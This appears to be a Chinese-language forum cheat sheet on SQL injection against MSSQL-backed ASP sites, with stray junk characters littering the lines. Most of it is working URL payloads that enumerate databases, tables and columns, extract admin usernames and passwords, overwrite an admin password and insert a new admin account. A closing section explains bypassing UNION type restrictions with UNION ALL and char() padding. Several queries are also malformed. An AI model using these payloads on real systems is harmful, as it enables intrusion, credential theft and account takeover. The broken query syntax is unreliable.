爆库:
) a2 Z0 E2 l5 d- E: M1 P/ v* khttp://duck/index.asp.id=10 UNION SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA.--
) Z6 m0 v9 u1 s9 z9 TSELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA.
& E8 F9 ?) Z. [$ R! }爆下一个库:8 E1 p) x$ C! o: U" b( [! B
http://duck/index.asp.id=10 UNION SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA WHERE TABLE_NAME NOT IN ('库名')--
4 b# t- H4 H% `, C9 i' s" P; F0 I- t% c. R' F* ~$ g) d3 R0 H) B3 O
爆表:
! r/ ~9 j+ g L" jhttp://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--
; z+ X: e4 p" {2 o1 C7 F+ c
4 ?2 q( r9 |' a9 ]1 |4 V+ cSELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES." T3 N9 [" c5 a4 J. t3 p' R
, p4 R4 f; _8 Z% ~% z
爆下一个表- r ?9 t2 }3 R6 Z; S6 b" X
http://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1')--: o- s5 S* }# l$ v. l7 c# b0 M
" s. m0 D& Q0 q- jhttp://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%login%'--
9 V, a4 \0 a. c, v0 h
- L5 i+ V' n& ^ E: I, q. u$ F: n& B' o% G- H
! T/ h) K; S3 O6 W+ a
爆字段:
; z( y& p$ ~; S; _http://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'--
, ^4 a+ s8 d: a$ W, N5 Y: I8 ~4 m- u& {+ D# B/ _
爆下一个字段: D; u. H7 E8 @4 _
http://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id')--
) ~1 j# U1 v! M' t) s
" W3 ]3 @/ N) J2 j% I9 s, ihttp://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id','login_name','password',details')--( B# \+ \- b$ T" {* |
2 @. K3 P+ N+ M+ @ Z2 |1 o& ]
- g5 a' T& e9 l3 F0 R7 Y0 c- w
爆字段里的内容( y! z' l! f& [5 }; G$ x
http://duck/index.asp.id=10 UNION SELECT TOP 1 login_name FROM admin_login--2 u# N# I7 l+ y1 w: _' D
: M2 g" ]0 A6 _* m( ]. D0 ]% shttp://duck/index.asp.id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='neo'--- Y. W* y+ u3 r! @% ]
3 d* Z9 j0 ]% x+ R3 X( {6 t/ @! T% D, hhttp://duck/index.asp.id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='trinity'--6 z2 l5 N1 o2 f1 d
: k( [' { d/ ?6 A8 O1 ^
http://duck/index.asp.id=10 UNION SELECT TOP 1 convert(int,password.morpheus.) FROM admin_login where login_name='trinity'--
: J3 a# N: e! D6 V& U( A# v- H% [/ b/ H
更新字段里的内容) m g# m! s& [: i! ~) p7 J
http://duck/index.asp.id=10; UPDATE .admin_login. SET .password. = .newpas5. WHERE login_name='neo'--! s& ~3 |# X4 H( |
4 J _! A6 y& C
http://duck/index.asp.id=10; INSERT INTO .admin_login. (.login_id.,.login_name.,.password.,.details.) VALUES (666,.neo2.,.newpas5.,.NA.)--
5 n0 F* d* R5 l. i
1 Y& F6 ^- \2 [" n/ C7 R. f' e! X
5 @) j1 {) U. O, @9 d
在注射的时候,access和mysql环境下,我们通常是通过union来获取数据的。但是遇到mssql环境,union很多时候都行不通,如果页面不报错,openrowset不可用,往往时候就只有暴力了。这样多不好,大家都是文明人,怎么可以用这么野蛮的手段呢?研究了一下,mssql中的union选择主要有以下几个方面的限制。
5 q! Q7 @) `$ D& X 第一个是varchar/nvarchar和int类型的字段union到一起会强制转换出错。这个可以去看superhei大牛N久以前的文章,用and 1=2 把union前面的结果集置空就可以解决了。7 J S9 r( _8 `! W! B0 T7 e) s6 {
第二个是当前面语句选择的字段有text、ntext 或者image格式的时候,不能用DISTINCT 方式来选择,而带union的语句必然是以DISTINCT 方式来选择的。这也是为什么很多搜索型的注射点可以用union猜解的原因,因为搜索点的语句很少会选到前面三种格式的字段。Image是二进制格式,一般不会出现在需要回显的sql语句中。这种限制前段时间也看到牛淫给出了解决方法,union后面跟一个all,即union all就搞定了。真是神奇啊,牛淫就是牛淫。
' Y2 D0 Y0 f7 J) A) ~ 最后还有一个限制是text/ntext 与 int类型的字段 union到一起时并不兼容,会报操作数类型冲突的错误,就算用1=2把union前面语句的结果置空也一样。前几天突然想到,union的时候我们经常用1,2,3……之类的常数来补齐相差的列数。这时候后面的语句选择的都是int类型的字段,遇到前面有text/ntext的字段当然会出错,如果加上引号呢,即'1’,'2’,'3’……的形式?这时候后面的字段都是char或者varchar的类型了,应该就不会出错了。如果注射点过滤了引号怎么办?因为mssql对16进制格式的支持不是太好,很多地方用16进制必须declare――set,那就用char吧,即and 1=2 union all select char(49),char(50)……的形式。. ^" x5 w1 M; [+ x
' e) y9 I* f. d, H突了了大部份限制的语句 a0 u$ I$ N ]& ]7 s$ G1 Z$ l# x
and 1=2 union all select char(49),char(50),null,null;--
8 |" U% l0 U# {/ y2 p8 l h
; e M9 j. b2 _, t) O
' ^$ F2 {$ d8 D6 E: p! E: K; |; Znull也可以正常执行,不过没有回显,不好判断回显的列数。
0 [' F9 _* |. I& I; `一般union遇到问题都是有text或者ntext字段,image的很少遇到
& Y) Q& T h# S) D0 l+ i
0 n! r0 }& n( V: D0 |4 v可以先null完之后再一个个用1,2,3,4代替,这样就能逼出image类型的列鸟6 R+ U8 B |2 w3 W! j! R" c
7 r( s; G( F$ {6 s! Z( t: k& Z
7 F$ X" y- L5 N; Y! a3 Z; O
|